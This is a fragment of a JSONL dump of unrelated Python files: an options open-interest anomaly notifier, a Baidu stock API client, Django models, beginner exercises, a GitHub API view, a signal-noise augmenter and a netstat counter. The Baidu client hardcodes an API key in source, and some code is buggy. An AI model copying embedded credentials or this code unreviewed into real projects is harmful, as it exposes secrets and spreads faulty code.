len(df.index)\n # for i, columnData in enumerate(df['OI']):\n # s = i + 1\n # if s < df_length:\n # temp = columnData - df['OI'].iloc[i + 1]\n # df['OI_change'].iloc[i] = temp\n # else:\n # df['OI_change'].iloc[i] = 0\n # return df\n # except Exception as e:\n # print('Exception in changeOI calculation:', e)\n\n def cal_outliers(self, data, list_ofOI):\n anomalies = []\n\n Data_ChOI = [item for item in data if item != 0.0 or item!= 0]\n Data_OI = [item for item in list_ofOI if item != 0.0 or item != 0]\n # Set upper and lower limit to 3 standard deviation\n random_data_std = np.std(Data_ChOI)\n random_data_mean = np.mean(Data_ChOI)\n anomaly_cut_off = random_data_std * 2\n\n lower_limit = random_data_mean - anomaly_cut_off\n upper_limit = random_data_mean + anomaly_cut_off\n\n # Generate outliers\n for outlier in Data_OI:\n if outlier > upper_limit or outlier < lower_limit:\n anomalies.append(outlier)\n return anomalies\n\n def cal_change_OI(self, df, current_time, symbol, dt, option_type):\n try:\n col = df.columns.tolist()\n if 'OI_change' not in col:\n df['OI_change'] = 0\n df['Flag'] = False\n df_length = len(df.index)\n # print(list_ofchangeOI)\n\n for i, columnData in enumerate(df['OI']):\n s = i + 1\n if s < df_length:\n temp = columnData - df['OI'].iloc[i + 1]\n df['OI_change'].iloc[i] = temp\n else:\n df['OI_change'].iloc[i] = 0\n list_ofchangeOI = df['OI_change'].tolist()\n list_ofOI = df['OI'].tolist()\n anomalies = self.cal_outliers(list_ofchangeOI, list_ofOI)\n if len(anomalies) != 0:\n for x, y in enumerate(list_ofchangeOI):\n for a, b in enumerate(anomalies):\n if b == y:\n if df['Flag'].iloc[x] == True:\n self.notify_process(df, x, symbol, dt, option_type)\n df['Flag'].iloc[x] = True\n if df['StrTradeDateTime'].iloc[x] == current_time:\n self.notify_process(df, x, symbol, dt, option_type)\n return df\n except Exception as e:\n print('Exception in changeOI calculation:', e)\n\n\n def cal_Out(self, df, current_time, symbol, dt):\n try:\n PE = list(df[df['OptionType'] == 'PE']['StrikePrice'].unique())\n CE = list(df[df['OptionType'] == 'CE']['StrikePrice'].unique())\n # print(dd)\n col = df.columns.tolist()\n if 'OI_change' not in col:\n df['OI_change'] = 0\n df['Flag'] = False\n # df['OI_change'] = 0\n # df['Flag'] = False\n # print(df.head())\n for i, j in enumerate(PE):\n temp = df[(df.StrikePrice == j) & (df.OptionType == 'PE')]\n temp = self.cal_change_OI(temp, current_time, symbol, dt, 'PE')\n # cal_outliers1(j, temp['OI_change'].tolist())\n for a, row in temp.iterrows():\n df['OI_change'].iloc[a] = row['OI_change']\n df['Flag'].iloc[a] = row['Flag']\n for i, j in enumerate(CE):\n temp = df[(df.StrikePrice == j) & (df.OptionType == 'CE')]\n temp = self.cal_change_OI(temp, current_time, symbol, dt, 'CE')\n # print(temp)\n for a, row in temp.iterrows():\n df['OI_change'].iloc[a] = row['OI_change']\n df['Flag'].iloc[a] = row['Flag']\n return df\n except Exception as e:\n print('Exception in OUT calculation:', e)\n return df\n\n def concate(self, previous_df, df_now, first=True):\n if first == True:\n fixed_columns= ['ScripName', 'StrikePrice', 'OptionType',\n 'StrTradeDateTime', 'TradeDateTime', 'ExpiryDate',\n 'StrExpiryDate', 'OI', 'COI', 'IV', 'VOL']\n else:\n fixed_columns = ['ScripName', 'StrikePrice', 'OptionType',\n 'StrTradeDateTime', 'TradeDateTime', 'ExpiryDate',\n 'StrExpiryDate', 'OI', 'COI', 'IV', 'VOL', 'OI_change', 'Flag']\n try:\n previous_df = self.objCommon.drop_extra_columns(previous_df, fixed_columns)\n df_now = self.objCommon.drop_extra_columns(df_now, fixed_columns)\n final = df_now.append(previous_df)\n return final\n # final.reset_index(inplace=True)\n except Exception as e:\n print('concat exception: ', e)\n\n def outliers_notify(self, df_now, previous_df, current_time, symbol, dt):\n try:\n col = previous_df.columns.tolist()\n if 'OI_change' in col:\n if len(previous_df) >= edleConfig.no_of_past_instruments:\n value_list = list(previous_df['StrTradeDateTime'].unique())[:edleConfig.no_of_past_instruments]\n boolean_series = previous_df.StrTradeDateTime.isin(value_list)\n p_df = previous_df[boolean_series]\n else:\n p_df = previous_df\n # p_df = p_df.loc[:, :'VOL']\n df_op = self.concate(p_df, df_now)\n # new_df = self.cal_change_OI(df_op, current_time, symbol, dt)\n new_df = self.cal_Out(df_op, current_time, symbol, dt)\n df_now = new_df[:len(df_now)]\n result = self.concate(previous_df, df_now, False)\n return result\n else:\n # previous_df = previous_df.loc[:, :'VOL']\n df_op = self.concate(previous_df, df_now)\n # new_df = self.cal_change_OI(df_op, current_time, symbol, dt)\n new_df = self.cal_Out(df_op, current_time, symbol, dt)\n # df_now = new_df[:len(df_now)]\n # result = self.concate(df_op, df_now, False)\n return new_df\n except Exception as e:\n print('Exception in outliers notify:', e)\n return previous_df\n\n\n def notify_process(self, df, x, symbol, expiry_date, option_type):\n if config.env == 'QA':\n sheet_to_notify = 'EdelNotifyQA'\n else:\n sheet_to_notify = 'EdelweissNotify'\n try:\n old_COI = df['COI'].iloc[x + 1]\n current_coi = df['COI'].iloc[x]\n dt = df['StrTradeDateTime'].iloc[x]\n s = df['StrikePrice'].iloc[x]\n # option_type = df['OptionType'].iloc[0]\n list_to_write = [dt, symbol, expiry_date, option_type, s, old_COI, current_coi]\n self.objSheet.writeSheet(config.Notesheet, list_to_write, sheet_to_notify)\n except Exception as e:\n print('Exception in outliers Notification Process:', e)\n\n\n\n\n\n\n\n\n\n\n\n\n\n # def notify_process(self, df, symbol, option_type, expiry_date):\n # try:\n # df = df[df['OptionType'] == option_type]\n # time = df['StrTradeDateTime'].iloc[0]\n # StrikePriceList = df[df['StrTradeDateTime'] == time]['StrikePrice']\n # sl = StrikePriceList.to_list()\n # for s in sl:\n # # list_to_write = []\n # temp = df[df['StrikePrice'] == s]\n # #print(s)\n # if len(temp.index) >= 10:\n # temp = temp[:10]\n # # calculate new column\n # temp = self.cal_change_OI(temp)\n # # print(temp.head())\n # current_coi = temp['COI'].to_list()[0]\n # dt = temp['StrTradeDateTime'].to_list()[0]\n # temp.dropna(inplace=True)\n # ll = temp['OI_change'].to_list()\n # old_oi_change = ll[0]\n # # print(old_oi_change)\n # list_of_outliers = self.cal_outliers(ll)\n # # print(list_of_outliers)\n # if len(list_of_outliers) > 0:\n # if old_oi_change in list_of_outliers:\n # old_coi = temp['COI'].to_list()[0]\n # list_to_write = [dt, symbol, expiry_date, option_type, s, old_coi, current_coi]\n # self.objSheet.writeSheet('CIEnotifications', list_to_write, 'EdelweissNotify')\n # except Exception as e:\n # print('Exception in outliers Notification Process:', e)\n\n # def outliers_notify_old(self, df, symbol, expiry_date):\n # #result, symbol, expiry_date\n # try:\n # self.notify_process(df, symbol, 'CE', expiry_date)\n # self.notify_process(df, symbol, 'PE', expiry_date)\n # except Exception as e:\n # print('Exception in outliers Notification:', e)\n\n\n\n","sub_path":"Edelweiss_MYSQL_DB_Version_2.0/Edelweiss/helpEd.py","file_name":"helpEd.py","file_ext":"py","file_size_in_byte":9968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"376466058","text":"# -*- coding: utf-8 -*-\nimport json\nimport urllib\n\n\ndef read():\n\t\"\"\"Fetch data from baidu API\n\tExample:\n\t\"errNum\": 0,\n\t\"errMsg\": \"success\",\n\t\"retData\": {\n\t\"stockinfo\": {\n\t\"name\": \"青岛啤酒\",//股票名称\n\t\"code\": \"00168\",//股票代码\n\t\"date\": \"2015/07/29 11:59\", //日期\n\t\"openningPrice\": 42.5, //开盘价\n\t\"closingPrice\": 42.05,//昨日收盘价\n\t\"hPrice\": 42.5,//今日最高价\n\t\"lPrice\": 41.6,//今日最低价\n\t\"currentPrice\": 41.75,//当前价\n\t\"growth\": -0.3,//价格涨幅\n\t\"growthPercent\": -0.713, //价格涨幅比例,单位%\n\t\"dealnumber\": 947355, //成交量股\n\t\"turnover\": 39639371,//成交金额,单位港币\n\t\"52hPrice\": 64, //52周最高价\n\t\"52lPrice\": 41.15//52周最低价\n\t}, \"\"\"\n\turl = 'http://apis.baidu.com/apistore/stockservice/hkstock?stockid=00168&list=1'\n\treq = urllib.request.Request(url)\n\treq.add_header(\"apikey\", \"eba745e72f195f186d8bcb17a07ce30a\")\n\tresp = urllib.request.urlopen(req)\n\n\tc = resp.read()\n\n\tdecodejson = json.load(c)\n\n\ta = decodejson[0]\n\tif c:\n\t\tprint(c)\n\t\treturn c\n","sub_path":"Old/baiduAPI.py","file_name":"baiduAPI.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"511703465","text":"from django.db import models\nfrom django.utils.translation import gettext_lazy as _\nfrom django.template.defaultfilters import slugify\nfrom django.urls import reverse\n\n\n# Models for Forms\nLCBO_CHOICES = ( \n (\"1\", \"Beers & Cider\"), \n (\"2\", \"Spirits\"), \n (\"3\", \"Flavored Beer\"), \n (\"4\", \"Ale\"), \n (\"5\", \"Lagers\"), \n (\"6\", \"Cocktails\"),\n) \n\nclass LCBO(models.Model):\n # placeholder data\n product = models.TextField(max_length=120)\n price = models.TextField(max_length=120)\n categories = models.CharField(max_length=120,choices=LCBO_CHOICES)\n\n\nclass Promotions(models.Model):\n available = 1\n out = 2\n expired = 3\n statuses = (\n (available ,_('Available for Order')),\n (out ,_('No Inventory')),\n (expired ,_('No Longer on Sale')),\n )\n status = models.PositiveSmallIntegerField(\n choices=statuses,\n default=available,\n ) \n\n\nclass Items(models.Model):\n item = models.TextField(max_length=120)\n item_price = models.TextField(max_length=120)\n\n @classmethod\n def create_item(cls ,item,item_price):\n product = cls(item=item,item_price=item_price)\n return product","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"329380936","text":"#7-10. Dream Vacation: Write a program that polls users about their dream vacation. \r\n# Write a prompt similar to If you could visit one place in the world, where would you go? \r\n# Include a block of code that prints the results of the poll.\r\n\r\nprint(\"\\nPoll for Peoples' Dream Vacation\")\r\nname_prompt = \"\\nEnter your name: \"\r\nplace_prompt = \"If you could visit one place in the world, where would you go? : \"\r\nrepeat_prompt = \"\\nWould you like to leave this program active for other people to give their input? [yes/no] : \"\r\n\r\npoll_data = {}\r\n\r\nwhile True:\r\n\tinput_name = input(name_prompt)\r\n\tinput_place = input(place_prompt)\r\n\tpoll_data[input_name] = input_place\r\n\tinput_decision = input(repeat_prompt)\r\n\tif input_decision == 'no':\r\n\t\tbreak\r\n\r\nprint(\"\\n\")\r\nfor person, place in poll_data.items():\r\n\tprint(\"\\t\" + person.title() + \" would go to \" + place.title() + \" if could only visit one place.\")\r\n\r\n\r\n","sub_path":"chapter_6/dream_vacation.py","file_name":"dream_vacation.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"295868739","text":"'''\n1) Add the __contains__ protocol and show whether or not 'Tim' and 'Sam' are part of our team. \n2) Add the __iter__ protocol and show how you can print each member of the classmates object.\n3) Use the isinstance() method to determine if the object classmates implements the __len__ method based on the ABC it comes from.\n4) Explain the difference between interfaces and implementation.\n - Interface is the steering wheel while implementation is the engine. Interface makes it easier for the user to\n interact with the program. It defines what an object can do whie implementation does what it supposed to do.\n5) Using both visual and written descriptions, think through the interface-implementation of a large scale storage system. In many systems today, we have the ability to store information from a single application to a variety of storage devices - local storage (hard drive, usb), the cloud and/or some new medium in the future. How would you design an interface structure such that all of the possible implementations could store data effectively.\n - Create a interface that shows what's available in terms of storage. Will do so by keeping in mind there is opportunity for new medias to become available.\n'''\nimport collections\n\nclass Teams:\n def __init__(self, members):\n self.__myTeam = members\n\n def __len__(self):\n return len(self.__myTeam)\n\n def __contains__(self, teamMember):\n if teamMember in self.__myTeam:\n return True\n else:\n return False\n \n def __iter__(self):\n return iter(self.__myTeam)\n \ndef main():\n classmates = Teams(['John', 'Steve', 'Tim'])\n print (len(classmates))\n print ('Is Tim part of the team? ')\n print (classmates.__contains__('Tim'))\n print ('Is Sam part of the team? ')\n print (classmates.__contains__('Sam'))\n roster = iter(classmates)\n print(next(roster))\n print(next(roster))\n print(next(roster)) \n print(isinstance(classmates.__len__, collections.abc.Callable))\n\nmain()","sub_path":"In_Your_Interface.py","file_name":"In_Your_Interface.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"316456785","text":"# Remove the temp directory and then create a fresh one\nimport os\nimport shutil\n\n\ndef test_setup():\n tempdir = os.path.join('.', 'temp')\n if os.path.isdir(tempdir):\n shutil.rmtree(tempdir)\n os.mkdir(tempdir)\n\n\nif __name__ == '__main__':\n test_setup()\n\n","sub_path":"autotest/test_000.py","file_name":"test_000.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"615376427","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nimport requests\n\ndef member_list(request):\n\tsara = request.user\n\n\tsocial_account = sara.socialaccount_set.get(user=sara.id)\n\tsocial_token = social_account.socialtoken_set.get(account=social_account.id)\n\ttoken = social_token.token\n\n\t#url = \"https://api.github.com/orgs/joinCODED/members\"\n\turl = \"https://api.github.com/users/SaraDashti/repos\"\n\tres = requests.get(url, headers={\"Authorization\": \"token \"+token})\n\treturn JsonResponse(res.json(), safe=False)\n\n","sub_path":"gitty/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"448851630","text":"import fnmatch # Filtering filenames\nimport os\nimport random\n\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm as tqdm\n\n\ndef add_noise_snr(signal, target_snr_db=20):\n \"\"\"Add noise level accordingly to target_snr_db.\n\n Args:\n signal (numpy.array): signal whose snr level will be changed.\n target_snr_db (int, optional): disered snr level. Defaults to 20.\n\n Returns:\n numpy.array: noisy signal with SNR = target_snr_db (in dB).\n \"\"\"\n x_volts = signal\n x_watts = x_volts**2\n\n # Calculate signal power and convert to dB\n sig_avg_watts = np.mean(x_watts)\n sig_avg_db = 10 * np.log10(sig_avg_watts)\n # Calculate noise according to [2] then convert to watts\n noise_avg_db = sig_avg_db - target_snr_db\n noise_avg_watts = 10**(noise_avg_db / 10)\n # Generate an sample of white noise\n mean_noise = 0\n random.seed(33)\n noise_volts = np.random.normal(mean_noise, np.sqrt(noise_avg_watts), len(signal))\n # Noise up the original signal\n y_volts = x_volts + noise_volts\n return y_volts\n\n\ndef augment_data(path, n_aug=3):\n \"\"\"Adds noise do normal signals.\n\n Args:\n path (string): path to data files.\n n_aug (int, optional): how many different files are going to be\n created from the original one. Defaults to 3.\n \"\"\"\n # Get filenames\n filenames = []\n filenames_out = []\n for root, dirnames, fnames in os.walk(path):\n root_aux = root + '_aug'\n for fname in fnmatch.filter(fnames, '*.csv'):\n filenames.append(os.path.join(root, fname))\n filenames_out.append(os.path.join(root_aux, fname))\n\n # Parsing filenames\n i = 1\n fim = 49 * n_aug\n for fn, fn_out in zip(filenames, filenames_out):\n df = pd.read_csv(fn, header=None)\n for ii in range(n_aug):\n for column in df.columns:\n # Add noise do signal\n df[column] = add_noise_snr(signal=df[column], target_snr_db=20)\n path_out = fn_out[:-4] + '_' + str(ii) + '.csv'\n df.to_csv(path_out, header=False, index=False)\n print(f'{i} de {fim}')\n i += 1\n\n\n#*******************************************************************************\n# Main\n#*******************************************************************************\n\nif __name__ == '__main__':\n random.seed(33)\n\n current_dir = os.path.dirname(os.path.realpath(__file__))\n\n # Main parameters\n path = os.path.join(current_dir, \"data/mafaulda/normal\")\n augment_data(path, n_aug=8)\n","sub_path":"code/aug_normal_data.py","file_name":"aug_normal_data.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"525474822","text":"# -*- coding: UTF-8 -*-\n\nfrom lib import main, datalib, maillib, shellbin\n\ndef worker( topic, debug=False ):\n cmd = \"%s -an | %s '{print $NF}'\" %\\\n ( shellbin.netstat, shellbin.awk )\n nowTime = main.getTime().now()\n status, output = main.execCmd( cmd )\n if status != 0:\n msg = 'exec cmd failed! (%s)' % cmd\n level = 'ERROR'\n maillib.mailer( msg + '\\n' + output )\n datalib.logger( topic, msg, level, debug )\n output = output.split('\\n')\n data = {\n nowTime : {\n 'LISTEN' : 0,\n 'SYN_SENT' : 0,\n 'SYN_RECEIVED' : 0,\n 'FIN_WAIT_1' : 0,\n 'FIN_WAIT_2' : 0,\n 'CLOSE_WAIT' : 0,\n 'CLOSING' : 0,\n 'LAST_ACK' : 0,\n 'TIME_WAIT' : 0,\n 'CLOSED' : 0,\n 'ESTABLISHED' : 0,\n },\n }\n d = data[nowTime]\n statusList = d.keys()\n for status in output:\n if status in statusList:\n d[status] += 1\n\n datalib.dataWriter( topic, data )\n","sub_path":"script/netstatus.py","file_name":"netstatus.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"}
    \" + line + \"